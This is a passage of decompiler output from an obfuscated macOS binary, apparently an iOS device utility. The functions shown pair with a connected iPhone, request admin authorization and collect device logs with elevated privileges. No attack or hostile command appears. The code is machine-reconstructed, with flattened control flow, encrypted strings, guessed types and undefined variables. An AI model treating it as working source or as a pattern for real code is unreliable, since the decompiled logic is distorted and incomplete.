v9 = -886599900;
goto LABEL_293;
}
}
if ( v25[0] > 1345556683 )
break;
if ( v25[0] == 1320062184 )
{
v2 = 0;
v3 = -1828711260;
v4 = -393697368;
LABEL_308:
if ( !v2 )
v3 = v4;
goto LABEL_310;
}
if ( v25[0] == 1324617770 )
{
v2 = 0;
dword_10029F610 = 1;
v3 = 1324617770;
v4 = 56409141;
goto LABEL_308;
}
}
if ( v25[0] != 1421539958 )
break;
*v41 = 1066156362;
}
}
while ( v25[0] != 1345556684 );
return v40;
}
// 1001CFC60: variable 'v18' is possibly undefined
// 1001CFD93: variable 'v23' is possibly undefined
// 1001D05CF: variable 'v20' is possibly undefined
// 1001D0FA6: variable 'v21' is possibly undefined
// 1001D14C6: variable 'v19' is possibly undefined
// 1001D1E60: variable 'v22' is possibly undefined
// 1001D2247: variable 'v17' is possibly undefined
// 1001D2247: variable 'v16' is possibly undefined
// 100256156: using guessed type __int64 __fastcall AMDeviceConnect(_QWORD);
// 10025616E: using guessed type __int64 __fastcall AMDeviceDisconnect(_QWORD);
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
// 1002561A4: using guessed type __int64 __fastcall AMDeviceValidatePairing(_QWORD);
// 10028A500: using guessed type __CFString stru_10028A500;
// 10029F610: using guessed type int dword_10029F610;
// 10029F898: using guessed type __int64 idevice;
//----- (00000001001D249B) ----------------------------------------------------
char __cdecl -[AppDelegate setupAuthorization](AppDelegate *self, SEL a2)
{
const AuthorizationOpaqueRef *v2; // rax
char v3; // cf
int v4; // eax
int v5; // ecx
bool v6; // zf
int v7; // ecx
SEL *v8; // rax
const AuthorizationOpaqueRef *v9; // rax
OSStatus v10; // eax
char v11; // cf
int v12; // ecx
SEL *v13; // rax
const AuthorizationOpaqueRef *v14; // rax
int v15; // eax
const AuthorizationOpaqueRef *v16; // rax
OSStatus v17; // eax
SEL v19; // [rsp+0h] [rbp-80h] BYREF
int v20; // [rsp+Ch] [rbp-74h]
unsigned int v21; // [rsp+10h] [rbp-70h]
int v22; // [rsp+14h] [rbp-6Ch] BYREF
SEL *v23; // [rsp+18h] [rbp-68h]
SEL v24; // [rsp+20h] [rbp-60h]
unsigned int v25; // [rsp+2Ch] [rbp-54h]
AuthorizationRights *rights; // [rsp+30h] [rbp-50h]
bool v27; // [rsp+3Fh] [rbp-41h]
bool v28; // [rsp+40h] [rbp-40h]
bool v29; // [rsp+41h] [rbp-3Fh]
bool v30; // [rsp+42h] [rbp-3Eh]
char v31; // [rsp+43h] [rbp-3Dh]
char v32; // [rsp+44h] [rbp-3Ch]
char v33; // [rsp+45h] [rbp-3Bh]
char v34; // [rsp+46h] [rbp-3Ah]
char v35; // [rsp+47h] [rbp-39h]
int *v36; // [rsp+48h] [rbp-38h]
__int64 v37; // [rsp+50h] [rbp-30h]
v37 = -1;
v20 = dword_10029F614;
v22 = -1622367177;
v36 = &v22;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v22 <= -33980288 )
{
if ( v22 <= -1084809613 )
{
if ( v22 > -1556396059 )
{
if ( v22 > -1211922945 )
{
if ( v22 <= -1186707222 )
{
if ( v22 == -1211922944 )
{
*v36 = -1186707221;
}
else if ( v22 == -1190107698 )
{
asc_10028A5F0[29] = v33 ^ 0x53;
asc_10028A5F0[30] = 32;
asc_10028A5F0[31] = 114;
asc_10028A5F0[32] = 101;
asc_10028A5F0[33] = 102;
asc_10028A5F0[34] = 101;
asc_10028A5F0[35] = 114;
asc_10028A5F0[36] = 101;
asc_10028A5F0[37] = 110;
asc_10028A5F0[38] = 99;
asc_10028A5F0[39] = 101;
asc_10028A5F0[40] = 58;
asc_10028A5F0[41] = 32;
asc_10028A5F0[42] = 37;
asc_10028A5F0[43] = 100;
asc_10028A5F0[44] = 0;
qmemcpy(aYu, "Failed to authorize ", 20);
v11 = 1;
v4 = -8465599;
v12 = 728939614;
goto LABEL_197;
}
}
else
{
switch ( v22 )
{
case -1186707221:
v3 = 1;
v4 = -1242625885;
v5 = -2086741875;
goto LABEL_204;
case -1171693208:
a2 = v24;
v28 = objc_msgSend(self, v24) == 0;
*v36 = -759739899;
break;
case -1171377107:
v11 = 0;
v4 = -555482937;
v12 = 873818433;
goto LABEL_197;
}
}
}
else if ( v22 <= -1264762050 )
{
if ( v22 == -1556396058 )
{
a2 = (SEL)2457995536LL;
dword_10029F614 = 1;
v23 = &v19;
v3 = 1;
rights = (AuthorizationRights *)(&v19 - 2);
v24 = "authRef";
v4 = -838537559;
v5 = -2105794533;
goto LABEL_204;
}
if ( v22 == -1529820799 )
{
v6 = !v27;
v4 = -1245283611;
v7 = -33980287;
goto LABEL_155;
}
}
else
{
switch ( v22 )
{
case -1264762049:
*v36 = 1034720727;
break;
case -1245283611:
v4 = -1556396058;
goto LABEL_206;
case -1242625885:
rights->items = (AuthorizationItem *)v23;
v9 = (const AuthorizationOpaqueRef *)HikariFunctionWrapper_19053(self, v24);
a2 = (SEL)rights;
v10 = AuthorizationCopyRights(v9, rights, 0, 0x13u, 0);
v30 = v10 == 0;
v11 = 0;
v21 = v10;
v4 = 1491172314;
v12 = -1242625885;
goto LABEL_197;
}
}
}
else if ( v22 > -1921450445 )
{
if ( v22 <= -1717254411 )
{
if ( v22 == -1921450444 )
{
v3 = 0;
v4 = 780404614;
v5 = 1076761297;
goto LABEL_204;
}
if ( v22 == -1851290041 )
*v36 = -779256963;
}
else
{
switch ( v22 )
{
case -1717254410:
LABEL_149:
*v36 = -2098409972;
break;
case -1659103187:
v4 = 61305011;
goto LABEL_206;
case -1622367177:
a2 = (SEL)377461609;
v3 = 0;
v4 = 948434631;
v5 = 1525757154;
goto LABEL_204;
}
}
}
else if ( v22 <= -2098409973 )
{
if ( v22 == -2108530671 )
{
*v36 = -142575189;
}
else if ( v22 == -2105794533 )
{
dword_10029F614 = 1;
*v36 = -1556396058;
}
}
else
{
switch ( v22 )
{
case -2098409972:
v11 = 0;
v4 = -45139035;
v12 = -992720603;
goto LABEL_197;
case -2086741875:
rights->items = (AuthorizationItem *)v23;
v14 = (const AuthorizationOpaqueRef *)HikariFunctionWrapper_19061(self, v24);
a2 = (SEL)rights;
AuthorizationCopyRights(v14, rights, 0, 0x13u, 0);
*v36 = -1242625885;
break;
case -1934854362:
*v36 = 493807137;
break;
}
}
}
else if ( v22 <= -567422353 )
{
if ( v22 > -873841361 )
{
if ( v22 <= -779256964 )
{
if ( v22 == -873841360 )
{
*v36 = 1265168515;
v34 = 0;
}
else if ( v22 == -838537559 )
{
*v36 = -1171693208;
}
}
else
{
switch ( v22 )
{
case -779256963:
v3 = 1;
v4 = -1529820799;
v5 = -1851290041;
goto LABEL_204;
case -759739899:
v6 = 0;
v4 = -2108530671;
v7 = -142575189;
LABEL_155:
if ( !v6 )
v4 = v7;
LABEL_206:
*v36 = v4;
break;
case -589776350:
a2 = (SEL)4108374082LL;
v3 = 0;
v4 = -567422352;
v5 = 1498712429;
goto LABEL_204;
}
}
}
else if ( v22 <= -992720604 )
{
if ( v22 == -1084809612 )
{
aYu[20] = 114;
aYu[21] = 105;
aYu[22] = 103;
aYu[23] = 104;
aYu[24] = 116;
aYu[25] = 115;
aYu[26] = 58;
aYu[27] = 32;
aYu[28] = 37;
aYu[29] = 100;
aYu[30] = 0;
strcpy(asc_10028A550, "Authorization setup successfully");
strcpy(&byte_100286960, "system.privilege.admin");
v4 = 1119046463;
goto LABEL_206;
}
if ( v22 == -1069977352 )
{
a2 = (SEL)2588881497LL;
v4 = 804347265;
goto LABEL_206;
}
}
else
{
switch ( v22 )
{
case -992720603:
goto LABEL_149;
case -944315015:
v6 = !v30;
v4 = 2083789265;
v7 = -589776350;
goto LABEL_155;
case -895035451:
v6 = 0;
v8 = v23;
*((_OWORD *)v23 + 1) = xmmword_10025B590;
*(_OWORD *)v8 = *(_OWORD *)&off_10025B580;
rights->count = 1;
*(&rights->count + 1) = 0;
v4 = -895035451;
v7 = -1211922944;
goto LABEL_155;
}
}
}
else if ( v22 <= -445997562 )
{
if ( v22 <= -555482938 )
{
if ( v22 == -567422352 )
{
NSLog(
CFSTR("\x93\n\x18.\b\xC1\xCDTx\xA9l+\xE4\xEA\xB0\xE8\xF9\xE4\xA9\x00\f'\xEB\x15\xD0\xC8\xF8cʲ(PM"),
a2);
*v36 = 1498712429;
}
else if ( v22 == -560703376 )
{
a2 = (SEL)3880148269LL;
v4 = -895035451;
goto LABEL_206;
}
}
else
{
switch ( v22 )
{
case -555482937:
*v36 = 2088458537;
v35 = v31;
break;
case -510107949:
*v36 = 1030563405;
break;
case -471084602:
LABEL_148:
*v36 = 1297501583;
break;
}
}
}
else if ( v22 > -193151094 )
{
switch ( v22 )
{
case -193151093:
a2 = (SEL)2160673303LL;
v3 = 1;
v4 = 676050137;
v5 = 462727935;
goto LABEL_204;
case -142575189:
*v36 = 887811150;
break;
case -45139035:
v6 = !v29;
v4 = -1069977352;
v7 = -560703376;
goto LABEL_155;
}
}
else
{
switch ( v22 )
{
case -445997561:
v3 = 0;
v4 = 979620337;
v5 = 471226413;
goto LABEL_204;
case -330105828:
aYu[20] = 114;
aYu[21] = 105;
aYu[22] = 103;
aYu[23] = 104;
aYu[24] = 116;
aYu[25] = 115;
aYu[26] = 58;
aYu[27] = 32;
aYu[28] = 37;
aYu[29] = 100;
aYu[30] = 0;
strcpy(asc_10028A550, "Authorization setup successfully");
strcpy(&byte_100286960, "system.privilege.admin");
*v36 = -1084809612;
break;
case -232404389:
qmemcpy(asc_10028A5F0, "Failed to create authorizatio", 29);
goto LABEL_147;
}
}
}
if ( v22 <= 981427637 )
break;
if ( v22 <= 1265168514 )
{
if ( v22 > 1076761296 )
{
if ( v22 <= 1108522781 )
{
if ( v22 == 1076761297 )
{
a2 = v19;
objc_msgSend(self, v19, 0);
v3 = 1;
v4 = -873841360;
v5 = 780404614;
goto LABEL_204;
}
if ( v22 == 1090028518 )
{
v13 = v23;
*((_OWORD *)v23 + 1) = xmmword_10025B590;
*(_OWORD *)v13 = *(_OWORD *)&off_10025B580;
rights->count = 1;
*(&rights->count + 1) = 0;
*v36 = -895035451;
}
}
else
{
switch ( v22 )
{
case 1108522782:
v16 = (const AuthorizationOpaqueRef *)HikariFunctionWrapper_19063(self, v24);
a2 = 0;
AuthorizationFree(v16, 0);
*v36 = 1853147193;
break;
case 1119046463:
*v36 = -1245283611;
break;
case 1181567472:
*v36 = -1921450444;
break;
}
}
}
else if ( v22 <= 1030563404 )
{
if ( v22 == 981427638 )
{
qmemcpy(asc_10028A5F0, "Failed to create authorizatio", 29);
v11 = 1;
v33 = 61;
v4 = -232404389;
v12 = -1934854362;
goto LABEL_197;
}
if ( v22 == 1019920143 )
{
*v36 = 2088458537;
v35 = 0;
}
}
else
{
switch ( v22 )
{
case 1030563405:
v3 = 1;
v4 = -1659103187;
v5 = 576737847;
goto LABEL_204;
case 1034720727:
v3 = 1;
v4 = 163226319;
v5 = -1264762049;
goto LABEL_204;
case 1071506895:
v3 = 0;
v4 = -1851290041;
v5 = -779256963;
goto LABEL_204;
}
}
}
else if ( v22 <= 1557314578 )
{
if ( v22 <= 1491172313 )
{
if ( v22 == 1265168515 )
{
v31 = v34;
v3 = 1;
v4 = -1171377107;
v5 = 873818433;
LABEL_204:
if ( !v3 )
v4 = v5;
goto LABEL_206;
}
if ( v22 == 1297501583 )
{
v29 = v25 == 0;
v3 = 1;
v4 = 524646353;
v5 = 1297501583;
goto LABEL_204;
}
}
else
{
switch ( v22 )
{
case 1491172314:
*v36 = -193151093;
break;
case 1498712429:
NSLog(
CFSTR("\x93\n\x18.\b\xC1\xCDTx\xA9l+\xE4\xEA\xB0\xE8\xF9\xE4\xA9\x00\f'\xEB\x15\xD0\xC8\xF8cʲ(PM"),
a2);
v11 = 0;
v4 = -510107949;
v12 = 1498712429;
goto LABEL_197;
case 1525757154:
v27 = v20 == 0;
v11 = 0;
v4 = 1557314579;
v12 = 948434631;
goto LABEL_197;
}
}
}
else if ( v22 > 2002562408 )
{
switch ( v22 )
{
case 2002562409:
v11 = 1;
v4 = 1108522782;
v12 = 1853147193;
LABEL_197:
if ( v11 )
v4 = v12;
goto LABEL_206;
case 2083789265:
a2 = (SEL)v21;
HikariFunctionWrapper_19055(&cfstr_Yu.isa);
*v36 = 2002562409;
break;
case 2088458537:
v32 = v35;
a2 = (SEL)4106052692LL;
v11 = 0;
v4 = 1034720727;
v12 = -1264762049;
goto LABEL_197;
}
}
else
{
switch ( v22 )
{
case 1557314579:
*v36 = 1071506895;
break;
case 1763171984:
*v36 = 1019920143;
break;
case 1853147193:
v2 = (const AuthorizationOpaqueRef *)HikariFunctionWrapper_19057(self, v24);
a2 = 0;
HikariFunctionWrapper_19059(v2, 0);
v3 = 0;
v19 = "setAuthRef:";
v4 = 1108522782;
v5 = 1181567472;
goto LABEL_204;
}
}
}
if ( v22 <= 699133303 )
break;
if ( v22 > 839500365 )
{
if ( v22 <= 887811149 )
{
if ( v22 == 839500366 )
goto LABEL_148;
if ( v22 == 873818433 )
*v36 = -1171377107;
}
else
{
switch ( v22 )
{
case 887811150:
v15 = 2088458537;
if ( v28 )
v15 = -445997561;
*v36 = v15;
v35 = 1;
break;
case 948434631:
*v36 = 1525757154;
break;
case 979620337:
a2 = 0;
AuthorizationCreate(0, 0, 0, &self->_authRef);
*v36 = 471226413;
break;
}
}
}
else if ( v22 <= 775893579 )
{
if ( v22 == 699133304 )
{
a2 = (SEL)v25;
NSLog(
CFSTR("\xBD\n\xA4\xF0\xEC\x44\xF5v\xB7B\x118o\x86\xE9\xAE\xFD\xCE\x5D\x8F\xC3\xFA\xE2\x0B\x89\x14)\xF2\x6B\x22\xFF\x92؏\xB7\xE2\xA4\x70(a\x8A\xEF\x68\x32t"),
v25);
*v36 = 804347265;
}
else if ( v22 == 728939614 )
{
*v36 = 775893580;
}
}
else
{
switch ( v22 )
{
case 775893580:
v11 = 0;
v4 = -1084809612;
v12 = -330105828;
goto LABEL_197;
case 780404614:
a2 = v19;
HikariFunctionWrapper_19065(self, v19);
*v36 = 1076761297;
break;
case 804347265:
a2 = (SEL)v25;
NSLog(
CFSTR("\xBD\n\xA4\xF0\xEC\x44\xF5v\xB7B\x118o\x86\xE9\xAE\xFD\xCE\x5D\x8F\xC3\xFA\xE2\x0B\x89\x14)\xF2\x6B\x22\xFF\x92؏\xB7\xE2\xA4\x70(a\x8A\xEF\x68\x32t"),
v25);
v6 = 0;
v4 = 699133304;
v7 = 1763171984;
goto LABEL_155;
}
}
}
if ( v22 <= 471226412 )
break;
if ( v22 <= 524646352 )
{
if ( v22 == 471226413 )
{
a2 = 0;
v17 = AuthorizationCreate(0, 0, 0, &self->_authRef);
v11 = 0;
v25 = v17;
v4 = 111181763;
v12 = 979620337;
goto LABEL_197;
}
if ( v22 == 493807137 )
{
v11 = 1;
v4 = -8465599;
v12 = -1190107698;
goto LABEL_197;
}
}
else
{
switch ( v22 )
{
case 524646353:
*v36 = -1717254410;
break;
case 576737847:
*v36 = -1659103187;
break;
case 676050137:
a2 = (SEL)1049411686;
v3 = 1;
v4 = -944315015;
v5 = 676050137;
goto LABEL_204;
}
}
}
if ( v22 > 111181762 )
break;
switch ( v22 )
{
case -33980287:
LABEL_147:
*v36 = 981427638;
break;
case -8465599:
asc_10028A5F0[29] = v33 - 2 * (v33 & 0x53) + 83;
asc_10028A5F0[30] = 32;
asc_10028A5F0[31] = 114;
asc_10028A5F0[32] = 101;
asc_10028A5F0[33] = 102;
asc_10028A5F0[34] = 101;
asc_10028A5F0[35] = 114;
asc_10028A5F0[36] = 101;
asc_10028A5F0[37] = 110;
asc_10028A5F0[38] = 99;
asc_10028A5F0[39] = 101;
asc_10028A5F0[40] = 58;
asc_10028A5F0[41] = 32;
asc_10028A5F0[42] = 37;
asc_10028A5F0[43] = 100;
asc_10028A5F0[44] = 0;
qmemcpy(aYu, "Failed to authorize ", 20);
*v36 = -1190107698;
break;
case 61305011:
*v36 = 1265168515;
v34 = 1;
break;
}
}
if ( v22 != 111181763 )
break;
*v36 = -471084602;
}
if ( v22 != 462727935 )
break;
*v36 = 676050137;
}
}
while ( v22 != 163226319 );
return v32;
}
// 10025B580: using guessed type char *off_10025B580;
// 10025B590: using guessed type __int128 xmmword_10025B590;
// 100286960: using guessed type char byte_100286960;
// 100286961: using guessed type char byte_100286961;
// 100286962: using guessed type char byte_100286962;
// 100286963: using guessed type char byte_100286963;
// 100286964: using guessed type char byte_100286964;
// 100286965: using guessed type char byte_100286965;
// 100286966: using guessed type char byte_100286966;
// 10028A680: using guessed type __CFString cfstr_Yu;
// 10029F614: using guessed type int dword_10029F614;
//----- (00000001001D4905) ----------------------------------------------------
char __cdecl -[AppDelegate collectLogWithAuthorizationToPath:](AppDelegate *self, SEL a2, id a3)
{
char v4; // cf
int v5; // eax
int v6; // ecx
id v7; // rax
bool v8; // al
char v9; // cf
int v10; // ecx
char *v11; // rax
SEL *v12; // r14
bool v13; // zf
int v14; // ecx
id v15; // rax
const AuthorizationOpaqueRef *v16; // rax
OSStatus v17; // eax
bool v18; // zf
int v19; // eax
int v20; // eax
char v21; // al
id v22; // rax
id v23; // r12
id v24; // rax
const AuthorizationOpaqueRef *v25; // rax
id v26; // r14
int v27; // eax
int v28; // eax
NSString *v29; // rax
NSString *v30; // r12
id v31; // rax
unsigned __int8 v32; // r12
NSString *v33; // rax
NSString *v34; // r15
id v35; // rax
id v36; // r15
char *v37; // rax
SEL *v38; // r15
const char *v39; // rax
id v40; // rax
id v41; // rax
int v42; // eax
SEL v44; // [rsp+0h] [rbp-150h] BYREF
const char *v45; // [rsp+8h] [rbp-148h]
id v46; // [rsp+10h] [rbp-140h]
SEL v47; // [rsp+18h] [rbp-138h]
const char *v48; // [rsp+20h] [rbp-130h]
id v49; // [rsp+28h] [rbp-128h]
char **v50; // [rsp+30h] [rbp-120h]
void *v51; // [rsp+38h] [rbp-118h]
SEL v52; // [rsp+40h] [rbp-110h]
id v53; // [rsp+48h] [rbp-108h]
const char *v54; // [rsp+50h] [rbp-100h]
id v55; // [rsp+58h] [rbp-F8h]
id v56; // [rsp+60h] [rbp-F0h]
id v57; // [rsp+68h] [rbp-E8h]
id v58; // [rsp+70h] [rbp-E0h]
SEL v59; // [rsp+78h] [rbp-D8h]
id v60; // [rsp+80h] [rbp-D0h]
int v61; // [rsp+88h] [rbp-C8h]
unsigned int v62; // [rsp+8Ch] [rbp-C4h]
pid_t v63; // [rsp+90h] [rbp-C0h]
int v64; // [rsp+94h] [rbp-BCh] BYREF
__int64 v65; // [rsp+98h] [rbp-B8h]
id v66; // [rsp+A0h] [rbp-B0h]
id v67; // [rsp+A8h] [rbp-A8h]
id v68; // [rsp+B0h] [rbp-A0h]
FILE **v69; // [rsp+B8h] [rbp-98h]
int *v70; // [rsp+C0h] [rbp-90h]
SEL v71; // [rsp+C8h] [rbp-88h]
SEL v72; // [rsp+D0h] [rbp-80h]
id v73; // [rsp+D8h] [rbp-78h]
id v74; // [rsp+E0h] [rbp-70h]
id v75; // [rsp+E8h] [rbp-68h]
id v76; // [rsp+F0h] [rbp-60h]
bool v77; // [rsp+F9h] [rbp-57h]
bool v78; // [rsp+FAh] [rbp-56h]
bool v79; // [rsp+FBh] [rbp-55h]
bool v80; // [rsp+FCh] [rbp-54h]
bool v81; // [rsp+FDh] [rbp-53h]
bool v82; // [rsp+FEh] [rbp-52h]
bool v83; // [rsp+FFh] [rbp-51h]
bool v84; // [rsp+100h] [rbp-50h]
bool v85; // [rsp+101h] [rbp-4Fh]
bool v86; // [rsp+102h] [rbp-4Eh]
bool v87; // [rsp+103h] [rbp-4Dh]
bool v88; // [rsp+104h] [rbp-4Ch]
bool v89; // [rsp+105h] [rbp-4Bh]
char v90; // [rsp+106h] [rbp-4Ah]
char v91; // [rsp+107h] [rbp-49h]
SEL *v92; // [rsp+108h] [rbp-48h]
char v93; // [rsp+112h] [rbp-3Eh]
char v94; // [rsp+113h] [rbp-3Dh]
bool v95; // [rsp+114h] [rbp-3Ch]
bool v96; // [rsp+115h] [rbp-3Bh]
char v97; // [rsp+116h] [rbp-3Ah]
char v98; // [rsp+117h] [rbp-39h]
int *v99; // [rsp+118h] [rbp-38h]
__int64 v100; // [rsp+120h] [rbp-30h]
v75 = self;
v100 = -1;
v61 = dword_10029F618;
v64 = -1106323511;
v99 = &v64;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v64 > -10093079 )
{
if ( v64 <= 1042490398 )
{
if ( v64 <= 384879147 )
{
if ( v64 > 196208339 )
{
if ( v64 <= 259257935 )
{
if ( v64 <= 210097528 )
{
if ( v64 == 196208340 )
{
v13 = !v78;
v5 = 1086548800;
v14 = -1463283680;
goto LABEL_433;
}
if ( v64 == 208765452 )
{
v22 = objc_msgSend(v74, v52, a3, 0);
v23 = objc_retainAutoreleasedReturnValue(v22);
objc_release(v74);
a2 = (SEL)objc_msgSend(v23, "fileSize");
NSLog(
CFSTR("\xC5\x19,\xE7\x85\xD9._\xC7\xC8VG\xDA\x6F\xE7\x67\x72U\xBC\xE2\x03\xB1\xF2\x20\xB2\x6ET{\xB3\xFFh%=\x82B/"),
a2);
v89 = a2 != 0;
objc_release(v23);
v5 = 1130030716;
goto LABEL_448;
}
}
else
{
switch ( v64 )
{
case 210097529:
*v99 = -686013995;
break;
case 216069486:
v28 = -1691683214;
if ( v82 )
v28 = 1646303735;
*v99 = v28;
v67 = v66;
v54 = v45;
v55 = v66;
break;
case 240338253:
v4 = 1;
v5 = 1418880021;
v6 = 1861149096;
goto LABEL_442;
}
}
}
else if ( v64 > 279637817 )
{
switch ( v64 )
{
case 279637818:
*v99 = 753551950;
break;
case 335305984:
*v99 = -636417699;
break;
case 358283949:
v84 = v58 == 0;
*v99 = -1673280906;
break;
}
}
else
{
switch ( v64 )
{
case 259257936:
v26 = v56;
NSLog(CFSTR("!9L\b<\xEF\x92\x31*!\x18)Q\x0EF/\x15\xC1\x70;r%g"), a2);
*v99 = -2065191830;
v57 = v26;
v97 = 0;
break;
case 265750790:
v4 = 1;
v5 = -234756283;
goto LABEL_330;
case 270928748:
objc_release(a3);
*v99 = -1281658479;
break;
}
}
}
else if ( v64 <= 132391611 )
{
if ( v64 <= 4623223 )
{
if ( v64 == -10093078 )
{
a2 = 0;
AMDeviceCopyValue(v65);
*v99 = 618514376;
}
else if ( v64 == 2835536 )
{
*v99 = 472228126;
}
}
else
{
switch ( v64 )
{
case 4623224:
v5 = -2075202079;
goto LABEL_448;
case 57960066:
*v99 = 412445653;
break;
case 72316114:
*v99 = 659731132;
break;
}
}
}
else if ( v64 > 148423134 )
{
switch ( v64 )
{
case 148423135:
a2 = (SEL)2751877204LL;
v4 = 0;
v5 = -10093078;
v6 = 618514376;
goto LABEL_442;
case 180314635:
v13 = 0;
v5 = 180314635;
v14 = -1036886189;
goto LABEL_433;
case 194996720:
v20 = 279637818;
if ( v85 )
v20 = 259257936;
*v99 = v20;
v56 = v76;
break;
}
}
else
{
switch ( v64 )
{
case 132391612:
v92[6] = &byte_10028A755;
v92[7] = 0;
*v69 = 0;
v25 = (const AuthorizationOpaqueRef *)objc_msgSend(v75, "authRef");
a2 = &byte_10028A743;
HikariFunctionWrapper_19087(v25, &byte_10028A743, 0, (char *const *)v92, v69);
*v99 = -1916185077;
break;
case 132839014:
*v99 = 2137824879;
break;
case 138052590:
a2 = v59;
objc_msgSend(v76, v59);
*v99 = 1268854752;
break;
}
}
}
else if ( v64 <= 635312476 )
{
if ( v64 <= 488679892 )
{
if ( v64 <= 412445652 )
{
if ( v64 == 384879148 )
{
v9 = 1;
v5 = -1552062667;
v10 = -17000284;
goto LABEL_446;
}
if ( v64 == 396702179 )
{
asc_10028A8D0[0] = 65;
asc_10028A8D0[1] = 117;
asc_10028A8D0[2] = 116;
asc_10028A8D0[3] = 104;
asc_10028A8D0[4] = 111;
asc_10028A8D0[5] = 114;
asc_10028A8D0[6] = 105;
asc_10028A8D0[7] = 122;
*v99 = -70788244;
}
}
else
{
switch ( v64 )
{
case 412445653:
v13 = 0;
v5 = 500260805;
v14 = 2119745235;
goto LABEL_433;
case 412859110:
v63 = wait(v70);
*v99 = 210097529;
break;
case 472228126:
a2 = (SEL)1075564596;
v9 = 0;
v5 = -1048995730;
v10 = -1231719055;
goto LABEL_446;
}
}
}
else if ( v64 > 593186393 )
{
switch ( v64 )
{
case 593186394:
v9 = 1;
v5 = -1977320356;
v10 = -1753474875;
goto LABEL_446;
case 618514376:
a2 = 0;
v66 = (id)HikariFunctionWrapper_19073(v65);
*v99 = -770669434;
break;
case 625988910:
HikariFunctionWrapper_19071(CFSTR("\xEB\x0E\x22J~ƁQŵ\x12d\x18+\x98\xEF\xC9\x01cj\xE1\xCB\x7F"));
v4 = 0;
v5 = 1042490399;
v6 = 72316114;
goto LABEL_442;
}
}
else
{
switch ( v64 )
{
case 488679893:
*v99 = -1451374604;
break;
case 492107210:
*v99 = 1323816614;
break;
case 500260805:
v11 = (char *)objc_msgSend(v76, v71);
*v50 = v11;
v92[3] = &byte_10028A7AF;
v12 = v92;
objc_retainAutorelease(a3);
a2 = v71;
v12[4] = (SEL)objc_msgSend(a3, v71);
v92[5] = &byte_10028A79F;
*v99 = 2119745235;
break;
}
}
}
else if ( v64 > 898771055 )
{
if ( v64 > 971663932 )
{
switch ( v64 )
{
case 971663933:
v9 = 1;
v5 = -1288889160;
v10 = 208765452;
goto LABEL_446;
case 978830564:
*v99 = -732746985;
break;
case 1032154269:
*v99 = 1661734818;
break;
}
}
else
{
switch ( v64 )
{
case 898771056:
a2 = (SEL)1323797814;
v4 = 1;
v5 = -947803207;
v6 = 2071207371;
goto LABEL_442;
case 914079611:
v33 = +[iOSDevice UDID](&OBJC_CLASS___iOSDevice, "UDID");
v34 = objc_retainAutoreleasedReturnValue(v33);
a2 = "length";
-[NSString length](v34, "length");
objc_release(v34);
*v99 = 1896831408;
break;
case 943890837:
v5 = 1672885085;
goto LABEL_448;
}
}
}
else if ( v64 > 692098290 )
{
switch ( v64 )
{
case 692098291:
*v99 = 971663933;
break;
case 753551950:
*v92 = &byte_10028A861;
v92[1] = &byte_10028A7C6;
v50 = (char **)(v92 + 2);
objc_retainAutorelease(v76);
v4 = 0;
v71 = "UTF8String";
v5 = 753551950;
v6 = 57960066;
goto LABEL_442;
case 772010048:
a2 = (SEL)808145709;
v9 = 1;
v5 = -1912016560;
v10 = 1724567275;
goto LABEL_446;
}
}
else
{
switch ( v64 )
{
case 635312477:
*v99 = 1939263127;
v96 = 0;
break;
case 640819274:
*v99 = 4623224;
break;
case 659731132:
LABEL_316:
*v99 = 1533947963;
v98 = 0;
break;
}
}
}
else if ( v64 > 1672885084 )
{
if ( v64 <= 1941560174 )
{
if ( v64 <= 1861149095 )
{
if ( v64 <= 1817161609 )
{
if ( v64 == 1672885085 )
{
v4 = 0;
v51 = &OBJC_CLASS___NSFileManager;
v72 = "defaultManager";
v5 = 1672885085;
v6 = -1823043627;
LABEL_442:
if ( !v4 )
v5 = v6;
goto LABEL_448;
}
if ( v64 == 1724567275 )
{
a2 = v72;
v24 = HikariFunctionWrapper_19083(v51, v72);
v73 = objc_retainAutoreleasedReturnValue(v24);
v5 = -603016548;
goto LABEL_448;
}
}
else
{
switch ( v64 )
{
case 1817161610:
*v99 = -447611911;
break;
case 1825137509:
*v99 = -822546805;
v53 = v49;
break;
case 1852233718:
a2 = (SEL)3191969050LL;
v4 = 1;
v5 = 1957794877;
v6 = 1443892596;
goto LABEL_442;
}
}
}
else if ( v64 > 1921115945 )
{
switch ( v64 )
{
case 1921115946:
a2 = (SEL)202899520;
v13 = 0;
v5 = 132839014;
v14 = 2137824879;
goto LABEL_433;
case 1935604327:
*v99 = 1672885085;
break;
case 1939263127:
v21 = v96;
*v99 = -2065191830;
v57 = v76;
v97 = v21;
break;
}
}
else
{
switch ( v64 )
{
case 1861149096:
*v99 = 1418880021;
break;
case 1896831408:
v47 = "UDID";
v29 = +[iOSDevice UDID](&OBJC_CLASS___iOSDevice, "UDID");
v30 = objc_retainAutoreleasedReturnValue(v29);
a2 = "length";
v48 = "length";
v83 = HikariFunctionWrapper_19075(v30, "length") == 0;
objc_release(v30);
v9 = 1;
v5 = 1896831408;
v10 = -588127653;
goto LABEL_446;
case 1914626641:
a2 = v72;
v15 = objc_msgSend(&OBJC_CLASS___NSFileManager, v72);
objc_retainAutoreleasedReturnValue(v15);
*v99 = -2101974428;
break;
}
}
}
else if ( v64 > 2016740951 )
{
if ( v64 > 2071207370 )
{
switch ( v64 )
{
case 2071207371:
*v99 = -947803207;
break;
case 2119745235:
v37 = (char *)objc_msgSend(v76, v71);
*v50 = v37;
v92[3] = &byte_10028A7AF;
v38 = v92;
objc_retainAutorelease(a3);
a2 = v71;
v39 = (const char *)HikariFunctionWrapper_19077(a3, v71);
v9 = 1;
v38[4] = v39;
v92[5] = &byte_10028A79F;
v5 = 2119745235;
v10 = 488679893;
goto LABEL_446;
case 2137824879:
v9 = 1;
v5 = 2137824879;
v10 = 635312477;
goto LABEL_446;
}
}
else
{
switch ( v64 )
{
case 2016740952:
a2 = "fileExistsAtPath:";
objc_msgSend(v73, "fileExistsAtPath:", a3);
objc_release(v73);
*v99 = -442256419;
break;
case 2022443322:
a2 = "length";
v45 = "length";
v46 = objc_msgSend(v66, "length");
*v99 = -1820153211;
break;
case 2066321705:
v9 = 0;
v5 = -584374981;
v10 = -579549741;
goto LABEL_446;
}
}
}
else if ( v64 > 1957794876 )
{
switch ( v64 )
{
